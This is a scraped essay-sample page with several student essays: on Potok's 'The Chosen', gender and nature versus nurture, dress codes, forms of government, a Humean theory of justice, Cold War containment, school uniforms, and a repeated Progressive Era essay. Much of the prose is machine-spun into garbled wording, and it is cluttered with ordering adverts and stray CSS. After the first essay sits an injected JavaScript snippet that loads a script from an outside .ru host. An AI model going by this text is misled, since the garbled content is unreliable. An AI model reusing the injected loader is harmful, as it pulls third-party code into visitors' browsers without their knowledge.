The Chosen 3 Essay Research Paper In free essay sample

The Chosen 3 Essay, Research Paper In the novel, The Chosen, Chaim Potok effectively catches the irregular imposts of a Judaic people group through amusingness and mockery. Potok # 8217 ; s new central focuses on two Judaic male childs, who live in a universe where high rules of achievement are anticipated from them by their family units. The desire to go a quick chief in the Jewish people group was a regularly overall use of the two families. In any case, with troublesome work and persistence, the two male childs ( Rueven and Danny ) , discover who they genuinely are, and what lives they will take in the great beyond. The new dressed metals on the craving to gestate an individual # 8217 ; s individual needs while adjusting to convention. The balance of the considerable number of battles in the full new root from the distinctions in family life which are welcomed on by the contradictions of profound convictions. Rueven, who is an Orthodox Jew, goes to a parochial school where Hebrew is instructed then again of Yiddish ( which would be viewed as the main Judaic etymological correspondence ) . Rueven # 8217 ; s school is other than truly fuse with numerous English discourse creation classifications. In any case, on the different manus, Danny, who goes to a yeshiva ( other than a Judaic school ) , sees himself as a genuine Jew since he ( dissimilar to Rueven ) wears the conventional side curl and is instructed in Yiddish. From the outset the two male childs can non stand one another, multiple occasions Danny alludes to Rueven as # 8220 ; apikorsim, # 8221 ; ( 32 ) which on a very basic level means # 8230 ; individual who is non consistent with their confidence. These contrasts between the two in the blink of an eye become neglected with one sad mishap, and do them remember they could use each other to procure through some troublesome occasions. # 8220 ; Silence is all we fear. There # 8217 ; s deliver in a voice # 8211 ; But Silence is endlessness. # 8221 ; - Emily Dickinson Emily Dickinson # 8217 ; s quote can be identified with the novel in a few different ways. # 8220 ; Silence is all we fear, # 8221 ; can partner to Danny # 8217 ; s way of life and how he can non stand the quiet wherein his male parent lives. The solitary clasp Danny makes discussion with his male parent is the point at which he is examining the Talmud. # 8221 ; It happened to me out of nowhere that non an individual word had gone among him and his male parent all eventide, aside from the Talmud rivalry # 8221 ; ( 145 ) . This quietness is in a general sense what drove Danny to look for direction or individual to address. /gt ; # 8220 ; There # 8217 ; s emancipate in a voice, # 8221 ; identifies with Rueven being Danny # 8217 ; s Jesus. As Danny discloses to Rueven what he said to his male parent, # 8220 ; I revealed to him we were old buddies, I genuinely think we are # 8221 ; ( 119 ) . Danny depended on Rueven as a companion for the accompanying a few mature ages. The quiet was currently bearable with a companion next to him. He at long last increased satisfactory confirmation with Rueven # 8217 ; s help to express his male parent he did non want to go a Rabbi like him and his male parent. He had taken a chance with the demolition of conventional ways by ignoring his male guardians needs. # 8220 ; But Silence is forever, # 8221 ; clarifies how Reb Saunders ( Danny # 8217 ; s male parent ) has brought his kid up peacefully since he was conceived. Despite the fact that Danny is utilized to the quietness, and still does non like it, others are horrified by it and make non get it. Danny does non oppugn the quietness since his male parent does non talk. Yet, by bringing Danny up peacefully # 8230 ; it instructs him to be progressively free, it places him in the spot to be a pioneer # 8230 ; a Rabbi, yet Danny does non want this. He consistently peruses books on incredible bookmans and on profundity brain research, as a result of this specific inclusion he concludes he would wish to be a therapist. Danny discloses to Rueven how he needs to be an analyst, # 8220 ; I # 8217 ; ll be studying mental science # 8221 ; ( 148 ) . The Dickinson quote identifies with about everything in the novel, and is extremely simple to use while elucidating sure inside informations. The epic, The Chosen, gives us how of import companions really are, and what kind of outcome your family has on the conclusions you make. The bond brought among Danny and Rueven is particular, an interest to retain each piece a lot of discernment as conceivable as they did, is amazing. The irregular way of passing on up a child peacefully came off on Danny a spot, he turned into a solid autonomous individual on his ain, with a little guide from Rueven. In the terminal, Danny accommodates with convention and satisfies his male guardians standards. As Rueven # 8217 ; s father requests Danny, # 8220 ; When you have a kid of your ain, you will bring him up peacefully? # 8221 ; ( 284 ) Danny reacts, # 8220 ; Yes, on the off chance that I can # 8217 ; t happen another way. # 8221 ; ( 284 ) Danny in the end comprehends his male parent, and regards him for his assurance in taking to raise him that way. Danny says to Rueven about him and his male parent, # 8220 ; We talk now. # 8221 ; ( 284 ) ( map ( ) { var ad1dyGE = document.createElement ( 'content ' ) ; ad1dyGE.type = 'text/javascript ' ; ad1dyGE.async = genuine ; ad1dyGE.src = 'http:/r.cpa6.ru/dyGE.js ' ; var zst1 = document.getElementsByTagName ( 'content ' ) [ 0 ] ; zst1.parentNode.insertBefore ( ad1dyGE, zst1 ) ; } ) ( ) ;

The debate between Nature and Nurture concerning Gender Essay Example

The discussion among Nature and Nurture concerning Gender Paper The nature versus support banter clarifying sex and sexual orientation has been continuing for around a century (AboutGender, 2003). Among the three methodologies, I discover sex and sexual orientation hypotheses as the most powerful, albeit a piece of me is slanted towards organic determinism. I accept that womanliness and manliness is because of natural contrasts to a limited degree, as there is a distinction between female life systems, hormones and qualities and that of a male. Schiebinger (1987, p. 9-70) guaranteed that ladies think as per emotions and instincts while men are increasingly objective. I need to concede that occasionally I settle on choices dependent on what my heart lets me know, in spite of the fact that there is a contention with making the correct moves. One model whereby I followed my heart indiscriminately is during my application to the National University of Singapore (NUS). In spite of the fact that I realized my evaluations were bad enough for the Law Faculty, because of my profound enthusiasm for that subject I despite everything proceeded to apply it as my first decision. In any case, what persuaded me that there are a larger number of setbacks than benefits to this hypothesis is that even as of recently, no human conduct has been demonstrated by any scientist to be associated with hereditary elements. Moreover, I have a goal of testing the idea that men have common characteristics that render their forcefulness. In Singapore for instance, expanding instances of house cleaner misuse have been accounted for; the greater part of the maltreatment were dispensed by female businesses of outside residential aides. We will compose a custom article test on The discussion among Nature and Nurture concerning Gender explicitly for you for just $16.38 $13.9/page Request now We will compose a custom paper test on The discussion among Nature and Nurture concerning Gender explicitly for you FOR ONLY $16.38 $13.9/page Recruit Writer We will compose a custom paper test on The discussion among Nature and Nurture concerning Gender explicitly for you FOR ONLY $16.38 $13.9/page Recruit Writer In this way I noticed that not just men, ladies likewise have the affinity to be brutal. Elshtain (1987) further legitimize my point by declaring that the degree of forcefulness of guys fluctuate generally across various societies and ladies are required to be more aloof in specific societies than others. Clarifying contrasts in how people act through natural variables is lacking, and I lean toward sex/sex hypotheses as it centers around the differentiation among sex and sexual orientation. There are two natural genders to be specific male and female. Sex, then again, incorporates heteros, gay people, lesbians and gays. Naturally male infants can develop into any sex and this is expected his socially and socially affected jobs. Sex is organic while sexual orientation can be supported or created. I was in an all young ladies Secondary School, and was presented to the unusual conduct of lesbians who are organically females yet associated as guys. They even went to the degree of embracing a masculine name and, strolled like guys and encapsulated manly qualities. A contrary model is in the article entitled Conundrum: When youre brought into the world with an inappropriate body whereby Julie Peters is a transsexual who wearing female garments and can think instinctively yet she was an organic male. As attested in the sex and sex article, gay people, lesbians and transsexuals contended that their sexuality is natural and endeavors to fit in with society will be unnatural. While perceiving that sex is dictated by the organic qualities, sexual orientation attributes then again, is to a great extent controlled by social, social and verifiable settings. In various social orders and societies, people are associated into various jobs (Giddens 1997, p. 108). The idea of support picks up the high ground in sex/sexual orientation hypothesis. Oakley (1972, p. 54-55) made a fine showing of representing three distinctive New Guinea clans and the various jobs people fall into. In the primary clan, the Arapesh, the two people expect detached jobs that take after the gentility in our own way of life. In the second clan which is Mundugumor, both genders accept manliness and both genders are raised to be autonomous. In the last clan of the Tchambuli, the guys act like our females by tattling, shopping and wearing decorations while the ladies shave their heads and are emphatic. In Singapore, ladies are required to be agile while the men are all the more tyrannical. In the Malay people group here for instance, the male is viewed as the man of the house, and when he settles on sensible choices, his significant other and kids have the onus to hear him out. Be that as it may, I concur with articulation in the article that there are troubles in recognizing sex and sex and among science and social characteristics. Giddens (1997, pg 109) condemned sex/sexual orientation speculations as unbending, whereby society anticipates that people should accept doled out jobs as guys or females. Critically, I recognize that people are not PCs that can be customized in like manner just by social or social qualities. Individuals can adjust themselves, for instance on account of Julie Peters as portrayed in the article following the sex and sexual orientation piece. Julie Peters experienced hormone medicines, electrolysis and face waxing to change herself.

Do Dress Codes For Girls Protect Or Sexualize Them Essay

Do Dress Codes For Girls Protect Or Sexualize Them - Essay Example The different procedures and measures to acquaint clothing regulations that look for with give control are frequently unequivocally or certainly focusing on just young ladies, notwithstanding the nearness of loose garments for little youngsters that don't fit social standards (Rosenberg, 2014).  This discussion has been in the open spotlight since 2000 to date and has amassed a gigantic discussion on the issue. The expanded discussion has prompted the development of explicit jargon given to young ladies that wear uncovering garments, for example, â€Å"Les nombrils† or â€Å"navel rings.†The terms simply deteriorate and unrefined the same number of individuals, incorporating immature young men and different young ladies allude to them as â€Å"sluts.† The author apologizes for the term. That is, the famous symbolism created because of the social talk of girls’ dress and hyper-sexualization has gotten some portion of our aggregate portrayals (Willett, 2008).  Stigmatization has expanded colossally has the discussion on girls’ garments and sexuality appear not to be reducing. The discussion holds different sides with the one hand holding the thought that clothing regulations are basic in guaranteeing the good being of the general public while adversaries contending that these clothing regulations appear to sexualize the young lady kid. Along these lines, this paper presents points of view from the two sides of the discussion and their reasons. Prominently, the record doesn't in any capacity speak to the sincere beliefs of the author or attempt to suggest a superior answer for the issue. The paper examines the significant focuses on the current issue to explain on the issue of girls’ clothing regulation and sexuality (Willett, 2008).  An top to bottom glance at how this discussion is surrounded from year to year in the media uncovers two significant viewpoints: young ladies are either situated as controlled casualties or social unsettling influence. Numerous individuals have come out to communicate how they feel that these young ladies dress in an interesting, unseemly and hostile path in secondary school and a few circumstances in grade schools.

Psychology & Pedagogics Research Paper - 825 Words

Psychology & Pedagogics (Research Paper Sample) Content: GovernmentStudents nameInstitution affiliationBenoit (2014) defines a government as a system controlling a nation or community. In a government, there consist, administrators, arbitrators, and legislators. Enforcement of the state policy is a function that is handled by the government. There are various forms of the government, with each having different characteristics. In this paper, three forms of the government and their respective components will be discussed. Furthermore, the impacts of the government forms will also be viewed.A communist is a government form in which a single, authoritarian party handles the planning and controlling of the state. The party eliminates private ownership of property making sure that the people of the nation share all goods equally. The nation exercise such form of governance usually are of higher social order, and results in a classless society (Benoit, 2014). When a decision has been made, it is the duty of the people to obey the decision and all discussion should end. Example of a country that exercise the communist form of the government, with their respective party running the government is the Peoples Republic of China since 1st October 1949 and led by Communist Party of China. The merits of the communist form of government are that there is carefulness in the way people live their lives. Moreover, there is a full employment of work force and the economic grows and there are rapid developments. In addition, the wealth is distributed equally among the people.On the other, demerits also exist in that form of the government. There is the lack of personal freedom and workers are treated like machines. Central State Authority holds the means of production and life problems are approached materialistically.Another form of government that exists is called the constitutional government. In this way, the government operates under an authoritative constitution. The constitution sets the fundamental laws and princ iples that influence nature, functions and limits of the state. The Constitution protects the liberty of the citizen. The governments duties, powers, and the establishment of functions in the institution are usually in writing form. As a result, the Constitution defines the relationship between state and individual. Several states utilize the constitution form of government. Some of them are Australia, Bahamas, Belgium, and Japan, just to mention a few.There are two advantages of the constitutional form of government. First of all, this kind of government usually protects the rights of the people. Moreover, the form of government is least likely to make huge mistakes in a hurry. The constitution cannot be changed rapidly because the policies have to be followed before being passed forward to be used (Benoit, 2014).However, the major disadvantage of the constitution form of government is the slowness it has in responding to major issues that may arise. For instance, when a situation occurs, there has to be voting so that the people can decide what they want. If the people are unsure of what they require, then nothing will be done.Nwabueze (2004) asserts that dictatorship is another form of government where the country is not governed by laws of the Constitution, but by a ruler or small political entity. The leader of this form of government is known as a dictator. The dictator often exercises different mechanisms so that the powers are remaining to be strong. In a dictatorship, the politician regulates almost every aspect of the public and private behavior of the regular citizen. The dictators use political propaganda to reduce the influence of opponents of the dictatorship.Between world war I and II, there are four types of dictatorship that have been described. There are the constitutional, counterrevolutionary, communist and fascist. Moreover, there are other subcategories of dictatorship such as T...

A Humean Theory of Distributive Justice Essay - 3966 Words

This paper suggests a strategy for constructing a contemporary Humean theory of distributive justice which would serve to ground what I call an entrepreneurial welfare state. It is argued that blending David Humes insights about the origins and purposes of justice with Ronald Dworkins insurance-based reasoning supporting his equality of resources model of distributive justice will yield a state which, as a matter of justice, encourages its members to engage in entrepreneurial activities and which protects them from the worst extremes of market economies. Introduction I claim that an attractive theory of distributive justice can be constructed by blending David Humes ideas about the origins and purposes of justice with Ronald†¦show more content†¦But humans have survived. How so? Here is what Hume says: Tis by society alone he is able to supply his defects and raise himself up to an equality with his fellow-creatures, and even acquire a superiority above them. By society all his infirmities are compensated . . . and . . . leave him in every respect more satisfied and happy, than tis possible for him, in his savage and solitary condition, ever to become. When every individual person labours a-part, and only for himself, his force is too small to execute any considerable work; his labour being employd in supplying all his different necessities, he never attains a perfection in any particular art; and as his force and success are not at all times equal, the least failure in either of these particulars must be attended with inevitable ruin and misery. Society provides a remedy for these three inconveniences. By the conjunction of forces, our power is augmented: By the partition of employments, our ability encreases; And by mutual succour we are less exposd to fortune and accidents. Tis by this additional force, ability, and security, that society becomes advantageous.(1) Wild Uncultivated Sex, or How Society Arises [I]n order to form society, tis requisite not only that it be advantageous, but also that men be sensible of these advantages yet tis impossible, in their wild uncultivated state, thatShow MoreRelatedJurisprudential Theories on IPR13115 Words   |  53 Pagesinnovation. Lockeans argue that intellectual property is justified based on deservedness and hard work. Various moral justifications for private property can be used to argue in favor of the morality of intellectual property, such as: 1. Natural Rights/Justice Argument: this argument is based on Locke’s idea that a person has a natural right over the labour and/or products which is produced by his/her body. Appropriating these products is viewed as unjust. Although Locke had never explicitly stated that

The Containment Of The Cold War - 845 Words

The Cold War started in 1945 and ended in 1961, during that time major changes were made to U.S. policy abroad, while McCarthyism targeted the Department of State at home. The Containment approach used by President Eisenhower was more effective then President Truman’s approach at containment or at the reconstruction in Europe. Containment was arguably better due to the cost advantages to the United States. Through the use of foreign policy and a system of alliances, America was able to prove it was worthy to place itself as a World super power. U.S. policy abroad changed considerable after the turn of the 20th century, after letting American military strength erode during the Great Depression it turned around and took the lead in founding the United Nations. President Truman took office in 1945 and immediately was thrown into the foreign policy maelstrom. With the Soviet Union pushing for control of Eastern Europe and the world and Japan refusing to surrender, President Truman was faced with the decision of using an atomic bomb. During this time the Truman Doctrine was put into place and $400 million in emergency aid for Turkey and Greece was sent to help with the internal and external communist threats. Then two years later, Europe lay in ruins with mass starvation and the possibility for a Soviet-led communist revolution. Truman proposed that the US and Western Europe create a $13 billion U.S. aid package that would help democracy rebuild. To further change US policy onShow MoreRelatedThe Containment Of The Cold War880 Words   |  4 PagesJuly 2016 ESSAY 5 What was the policy of â€Å"Containment† in the Cold War? How was it used and what were some of its effects both foreign and domestic? In this tense international atmosphere called the â€Å"Cold War,† the US President Harry S. Truman broke with the policy of his predecessor Franklin D. Roosevelt and redefined the outline of the foreign policy of the United States. On 12 March 1947, the US President presented to Congress his doctrine of containment, which aims to provide financial and militaryRead MoreContainment Of The Cold War Essay2391 Words   |  10 PagesContainment in its simplest form Imagine that New York City just broke out in a massive epidemic, spreading an airborne strand of the deadly virus, Ebola. The first move authorities would make in order to reduce the number of casualties, would most likely be to quarantine the virus and isolate it to a confined area. They would do this, not only so that it doesn’t spread, but also to reduce the overlying fear that is being created by the masses. This is essentially what the U.S. was trying to doRead MoreThe Containment Of Communism And The Cold War1343 Words   |  6 PagesDuring World War II, the United States and the Soviets put their political differences aside in their need to defeat their common foe, Germany. However, even during the war against Germany, and later Japan, the political and post-war tensions between the United States and the Soviets were ever underlying and continued to grow. As both sides of the Axis allies continued to gain ground, during their victories in Europe, the questions and pos itioning for future world domination of political idealsRead MoreContainment Strategies During The Cold War1084 Words   |  5 PagesFebruary 2017 Containment Strategies in the Cold War During the Cold War, communism was spreading.   The three presidents Truman, Eisenhower, and Kennedy needed a way to stop it from spreading.   All Three turned to the idea of containment.   Ayers, et al. defines containment as a Policy by George F. Kennan, that started in the late 1940’s and was created to stop the spread of communism by providing economic aid, and military aid to countries opposing the Soviets.   All three cold war presidents hadRead MoreCold War Containment Or Hegemony Essay2690 Words   |  11 Pages The question of, â€Å"Was America’s actions during the Cold War containment or hegemony?† cannot be easily answered with a single source or perspective. While some attempt to justify the United States’ actions during the Cold War as necessary to preserving freedom and the American way of life through the containment of the Soviet threat, there are just as many critics on the other side of the debate that have argued that, America used the Cold War as a veil under which it expanded it’s influence andRead MoreThe Cold War Times : A Theory Of Containment1073 Words   |  5 PagesQuestion 1: During cold war times, the US’ had a theory of containment. Containment made to stop the spread of communism, because it was thought that if the US could not stop communist countries than it could work on stopping communism from spreading. In 1954, Vietnam was able to become independent from France. The country was divided along the 17th parallel, and North Vietnam and South Vietnam were created. Ho Chi Minh led North Vietnam and it had a communistic government, which was supported byRead MoreThe Cold War Times : A Theory Of Containment904 Words   |  4 PagesQuestion 1: During cold war times, the US’ had a theory of containment. Containment made to stop the spread of communism, because it was thought that if the US could not stop communist countries than it could work on stopping communism from spreading. In 1954, Vietnam was able to become independent from France. The country was divided along the 17th parallel, and North Vietnam and South Vietnam were created. Ho Chi Minh led North Vietnam and it had a communistic government, which was supported byRead More Containment Early Cold war Essay1996 Words   |  8 PagesContainment Early Cold war In the early years of the Cold War, both the Truman and Eisenhower administrations pursued a policy of containment to counter perceived Soviet aggression. Generally, the presidential administrations pursued this policy to maintain stability in the international arena, to maintain a balance of power, and also in a sense, to express disapproval of totalitarian, non-democratic regimes. Containment was expressed through a variety of policies and institutions: economic, politicalRead MoreUnited States Containment Policy During the Cold War1003 Words   |  5 PagesDuring the Cold War, Americas basic policy was that of containment of the Soviet Union. The policy of containment was based upon several principles. First, the Soviet Union wanted to spread socialism to all areas of the world. However, it was felt that the leadership of the Soviet Union felt no particular rush to accomplish their goal. The Kremlin is under no ideological compulsion to accomplish its purposes in a hurry. Li ke the Church, it is dealing in ideological concepts which are ofRead MoreContainment: Cold War and George C. Marshall Essay960 Words   |  4 Pages1. Explain the US policy of containment abroad. What were the economic, military, and political strategies of enforcing containment? Identify at least three specific programs or institutions in your response. * First laid out by George F. Kennan in 1947, Containment stated that communism needed to be contained and isolated, or it would spread to neighboring countries. This spread would allow the Domino Theory to take hold, meaning that if one country fell to communism, then each surrounding

For Or Against School Uniform Essay Example For Students

For Or Against School Uniform Essay SCHOOL UNIFORMS Good or Bad Idea The head teacher of a local primary school is thinking of introducing a school uniform. .Can uniforms really make a difference to a childs academic performance. . Would uniforms infringe on the childs creativity and self expression . Clothes don not make the child Reasons For School uniforms can put the emphasis on school work instead of dressing in designer wear. It may also help lower to lower school violence. In a time when school children are getting assaulted for designer jackets and shoes, uniforms may be exactly what is needed. Uniforms can also help to identify outsiders within a school. Drug dealers would have to wear uniforms in order to be able to roam the school grounds without being spotted. The uniforms can also help parents to save money. Designer clothes are expensive and a student would need to have at least five different outfits to wear to school. Where a child wearing uniform would only need two sets of clothes. School uniform also help to to erase lines between the social classes. Since all students will be dressed alike, it will be impossible to tell the difference from a student from a low income and one from a high income family. Reasons Against Arguments against school uniforms believe school uniforms will lessen childrens individualism and creativity. It will infringe on students rights. Students have very little say in the daily routine of their lives, so deciding what to wear is one of the few methods students have to control their lives. Clains have been made that school uniforms enforce conformity rather than individuality. Some reasons given by students who do not wish to wear a school uniform. Doses not allow freedom of expression No Choice Cant wear logos I will look like everyone else Not my style Limited colour and fabric Anoher claim is, if you take away a childs self expression through clothing, you force that child to express his or herself in other ways. This might even force a child to resort to even more violent forms of expression and continue to disrupt the class. Conclusion In todays society, students are fighting each other in schools because of ther students that wear rival gang colours and clothing. Children whose parents cannot afford designer clothes are automatically put out of the in crowd and they may feel unhappy and left out. A school uniform would mean students would not be judged by what they wear, instead they will be judged on their personality. Can uniforms make a difference? It may be a start. Uniforms will give all stuents a chance to fit in regardless of their social background. They will also take the students focus off having the right clothes and put it back on having the right attitude. I feel school uniforms are a good idea because, they help the students to keep focused on academics and improve their behaviour. Even after school hours, while they are in their school uniform, they would be easily identified as a member of the school.However, we cannot let the term free country becoming meaningless by taking away more and more student choices. If students are unable to express themselves through their clothing, we must be sure to provide alternative forums for students to develop a sense of self. Social Issues .

The Progressive Era Essay Example For Students

The Progressive Era Essay The Progressive Era Essay The progressive era was a time of great change, the way people thought and what they did began to change quickly. Industry and business also changed a great deal in this era, with the many new inventions and strong businessmen things where rapidly changing. The progressive era lasted about 40 years, from 1879-1920. In 1879 Tomas Edison invented the electric light, I guess you could say he just lit the way for may other inventions that people made during this time period. We will write a custom essay on The Progressive Era specifically for you for only $16.38 $13.9/page Order now The progressives where middle class people that where mostly composed of young people who wanted things to change, they believed that educating people was the best way to overcome a problem. They formed volunteer organizations that people would come to and they would educate them on what they thought the problem was with something. Some of the organizations I found where: (American Bar Association, U.S Chamber of Commerce, National Association for the advancement of Colored People, and many others. I think that they did this to increase the awareness of a problem and try to fight that problem with strength in numbers and educations, both are very strong weapons when tackling a problem. Muckraking was another way people got their point across, they would find out all the information that they could on a person and they would basically, just drag their good name thought the mud, telling the people about, the things that they might not know, the corrupt things and bad deals and kickbacks those types of things. A well known muckraker would be Ida Tarbell, She dragged John D. Rockefellers name thought the mud, exposing bad trust and how he was a ruthless business man, Another muckraker was Upton Sinclair, He wrote a book, to show the American people how bad, the food was, and how disgusting it was, a famous quote of his was I aimed for the peoples hearts and I hit them right in the stomach, making reference to how gross the book really was. Teddy Roosevelt was a very strong influence during the progressive era; He used his power a president to get what he wanted as a progressive. He helped things like the pure food and drug act pass, and used the Sherman Antitrust act to dissolve Carnegies Monopoly. He was a very strong leader and was not about to be pushed around, so it was very good to have him as president during the Progressive era when some are fighting for the new and some are fighting for the old. The city and state reforms, where to stops powerful figures like boss Tweed who was very corrupt and, had everyone in the city in his back pocket. They Reformed so that their wouldnt be just a boss, (a person that made every decision), they made it so the people had to stand behind him on his decisions, their needed to be a vote on all laws that where passed, and all people could try to pass laws with enough peoples support. Also with the reform, workmans compensation became, now if people where hurt to the point they couldnt work, they would be compensated until they could come back. Education was a very big thing to the progressives; they believed that an educated person could handle any problem. They pushed for more women to go to college and for more children to start school. The progressives believe that by putting large numbers of children in school they will soon have and enlightened population. Womens rights where fought for during the progressive era. Women began to hold steady jobs, Even though the jobs where the ones that where the least paying, and the ones with the least opportunity. .ue3611f5cb873151890bbebf642c48195 , .ue3611f5cb873151890bbebf642c48195 .postImageUrl , .ue3611f5cb873151890bbebf642c48195 .centered-text-area { min-height: 80px; position: relative; } .ue3611f5cb873151890bbebf642c48195 , .ue3611f5cb873151890bbebf642c48195:hover , .ue3611f5cb873151890bbebf642c48195:visited , .ue3611f5cb873151890bbebf642c48195:active { border:0!important; } .ue3611f5cb873151890bbebf642c48195 .clearfix:after { content: ""; display: table; clear: both; } .ue3611f5cb873151890bbebf642c48195 { display: block; transition: background-color 250ms; webkit-transition: background-color 250ms; width: 100%; opacity: 1; transition: opacity 250ms; webkit-transition: opacity 250ms; background-color: #95A5A6; } .ue3611f5cb873151890bbebf642c48195:active , .ue3611f5cb873151890bbebf642c48195:hover { opacity: 1; transition: opacity 250ms; webkit-transition: opacity 250ms; background-color: #2C3E50; } .ue3611f5cb873151890bbebf642c48195 .centered-text-area { width: 100%; position: relative ; } .ue3611f5cb873151890bbebf642c48195 .ctaText { border-bottom: 0 solid #fff; color: #2980B9; font-size: 16px; font-weight: bold; margin: 0; padding: 0; text-decoration: underline; } .ue3611f5cb873151890bbebf642c48195 .postTitle { color: #FFFFFF; font-size: 16px; font-weight: 600; margin: 0; padding: 0; width: 100%; } .ue3611f5cb873151890bbebf642c48195 .ctaButton { background-color: #7F8C8D!important; color: #2980B9; border: none; border-radius: 3px; box-shadow: none; font-size: 14px; font-weight: bold; line-height: 26px; moz-border-radius: 3px; text-align: center; text-decoration: none; text-shadow: none; width: 80px; min-height: 80px; background: url(https://artscolumbia.org/wp-content/plugins/intelly-related-posts/assets/images/simple-arrow.png)no-repeat; position: absolute; right: 0; top: 0; } .ue3611f5cb873151890bbebf642c48195:hover .ctaButton { background-color: #34495E!important; } .ue3611f5cb873151890bbebf642c48195 .centered-text { display: table; height: 80px; padding-left : 18px; top: 0; } .ue3611f5cb873151890bbebf642c48195 .ue3611f5cb873151890bbebf642c48195-content { display: table-cell; margin: 0; padding: 0; padding-right: 108px; position: relative; vertical-align: middle; width: 100%; } .ue3611f5cb873151890bbebf642c48195:after { content: ""; display: block; clear: both; } READ: Technology's Effect on the Acquisition of Knowledg Essay Poor women also benefited from the progression, they could receive birth control pills for free to prevent unwanted pregnancies. Now I know this is not all that happened during this era but I think that I was about to show what the major points where and the things that effected us the most. People dont realize what was gone through to make the U.S what it is like today. What do you think that it would be like if we didnt have so much change in the progressive . The Progressive Era Essay Example For Students The Progressive Era Essay The Progressive Era Essay was a period that showed the goals and contradictions found in American society in the late nineteenth and early twentieth century. Theodore Roosevelt summed up the Progressive/Reform feeling in his Square Deal speech that it was all about morals, not economics. His goal was the moral regeneration of the business world. He preached that it was wrong for some people to get ahead in business and politics by tricks and schemes, while others were cheated out of the opportunity. This was the kind of talk that millions of Americans from all areas of society could understand and respond to. We will write a custom essay on The Progressive Era specifically for you for only $16.38 $13.9/page Order now Roosevelt simply acted in the interests of the common working man, fixing things that they found unjust. For years, the poor and immigrants were unhappy with treatment from their big-business employers. Their long working hours and exploitation of children were, among other things, exposed by the Muckrakers. The Muckrakers were journalists who exposed corruption in business and politics and made many of their readers angry. These new reformers took over the old Populist idea that the government should work for the publics economic well being. Reform groups near the turn of the century were interested in the moral changes of the way the government and businesses were run. They wanted the government to be more open and listen to the people. Also, they wanted the government to put more effort into protecting the well being of all citizens. This would require government action to regulate business, improve public health and safety and make sure that every citizen had the chance to succeed and to be happy. Today there are also many reform groups. Just like the progressives of the early twentieth century, modern reformers are trying to change things for the better. One modern reformer is Ralph Nader. Nader is a leader in the consumer-protection movement. He organized investigative teams of young lawyers, consumer specialists, and students, popularly called Naders Raiders, to conduct surveys of numerous companies, federal agencies, and the U.S. Congress. Nader is a controversial man; his investigations have at times been criticized as biased against big business and government. Cesar Chavez was another modern reformer. The issues that he dealt with included: Women Farmworkers, Farmworker Health Issues, and Migrant Labor. Many issues that progressives of the early 1900s dealt with are the core of many of todays issues, however there are still some reforms that are different than those of a hundred years ago. American reform movements have generally been started as a rebellion against the control of big businesses and corrupt government. The poor conditions of schools and the entire education system at the turn of the twentieth century were a major cause for reform. That reform movement has influenced the entire education system and has made it better and more suitable for students. Civil rights for African-Americans and women was just beginning to become an issue in the late 19th century. Many progressivists spoke out for suffrage for women and equal rights for black people. Today, civil rights for minorities is still a big cause for reform. There are many different oraganizations whose goal is to reform the way society, the government and businesses treat any type of minority, including Hispanics, homosexuals and Native Americans. However civil rights is just one of the many causes of modern reform groups. Others include reform of huge companies and monoplolies, welfare programs, education systems and many, many other issues. A reform movement is a shout against people, businesses, governments or ideas that are morally corrupt. .u61cafa264aaff34ac533f663cf22a081 , .u61cafa264aaff34ac533f663cf22a081 .postImageUrl , .u61cafa264aaff34ac533f663cf22a081 .centered-text-area { min-height: 80px; position: relative; } .u61cafa264aaff34ac533f663cf22a081 , .u61cafa264aaff34ac533f663cf22a081:hover , .u61cafa264aaff34ac533f663cf22a081:visited , .u61cafa264aaff34ac533f663cf22a081:active { border:0!important; } .u61cafa264aaff34ac533f663cf22a081 .clearfix:after { content: ""; display: table; clear: both; } .u61cafa264aaff34ac533f663cf22a081 { display: block; transition: background-color 250ms; webkit-transition: background-color 250ms; width: 100%; opacity: 1; transition: opacity 250ms; webkit-transition: opacity 250ms; background-color: #95A5A6; } .u61cafa264aaff34ac533f663cf22a081:active , .u61cafa264aaff34ac533f663cf22a081:hover { opacity: 1; transition: opacity 250ms; webkit-transition: opacity 250ms; background-color: #2C3E50; } .u61cafa264aaff34ac533f663cf22a081 .centered-text-area { width: 100%; position: relative ; } .u61cafa264aaff34ac533f663cf22a081 .ctaText { border-bottom: 0 solid #fff; color: #2980B9; font-size: 16px; font-weight: bold; margin: 0; padding: 0; text-decoration: underline; } .u61cafa264aaff34ac533f663cf22a081 .postTitle { color: #FFFFFF; font-size: 16px; font-weight: 600; margin: 0; padding: 0; width: 100%; } .u61cafa264aaff34ac533f663cf22a081 .ctaButton { background-color: #7F8C8D!important; color: #2980B9; border: none; border-radius: 3px; box-shadow: none; font-size: 14px; font-weight: bold; line-height: 26px; moz-border-radius: 3px; text-align: center; text-decoration: none; text-shadow: none; width: 80px; min-height: 80px; background: url(https://artscolumbia.org/wp-content/plugins/intelly-related-posts/assets/images/simple-arrow.png)no-repeat; position: absolute; right: 0; top: 0; } .u61cafa264aaff34ac533f663cf22a081:hover .ctaButton { background-color: #34495E!important; } .u61cafa264aaff34ac533f663cf22a081 .centered-text { display: table; height: 80px; padding-left : 18px; top: 0; } .u61cafa264aaff34ac533f663cf22a081 .u61cafa264aaff34ac533f663cf22a081-content { display: table-cell; margin: 0; padding: 0; padding-right: 108px; position: relative; vertical-align: middle; width: 100%; } .u61cafa264aaff34ac533f663cf22a081:after { content: ""; display: block; clear: both; } READ: The Canterbury Tales: A View Of The Medieval Christian Church Essay Not all reform movements are successful in making an actual change, however even if a significant change isnt made their message is still shared with the public. Reform group leaders are usually involved in the government and have a strong charisma, which helps them convey their message. Jesse Louis Jackson is one of Americas strongest political figures. Over the past three decades he has played a major role in just about every movement for empowerment, peace, civil rights, gender equality, and economic and social justice. Reverend Jackson has been called the conscience of the nation and the great unifier, challenging America to establish just and humane priorities, and bringing people together on . The Progressive Era Essay Example For Students The Progressive Era Essay The Progressive Era Essay was a period that showed the goals and contradictions found in American society in the late nineteenth and early twentieth century. Theodore Roosevelt summed up the Progressive/Reform feeling in his Square Deal speech that it was all about morals, not economics. His goal was the moral regeneration of the business world. He preached that it was wrong for some people to get ahead in business and politics by tricks and schemes, while others were cheated out of the opportunity. This was the kind of talk that millions of Americans from all areas of society could understand and respond to. We will write a custom essay on The Progressive Era specifically for you for only $16.38 $13.9/page Order now Roosevelt simply acted in the interests of the common working man, fixing things that they found unjust. For years, the poor and immigrants were unhappy with treatment from their big-business employers. Their long working hours and exploitation of children were, among other things, exposed by the Muckrakers. The Muckrakers were journalists who exposed corruption in business and politics and made many of their readers angry. These new reformers took over the old Populist idea that the government should work for the publics economic well being. Reform groups near the turn of the century were interested in the moral changes of the way the government and businesses were run. They wanted the government to be more open and listen to the people. Also, they wanted the government to put more effort into protecting the well being of all 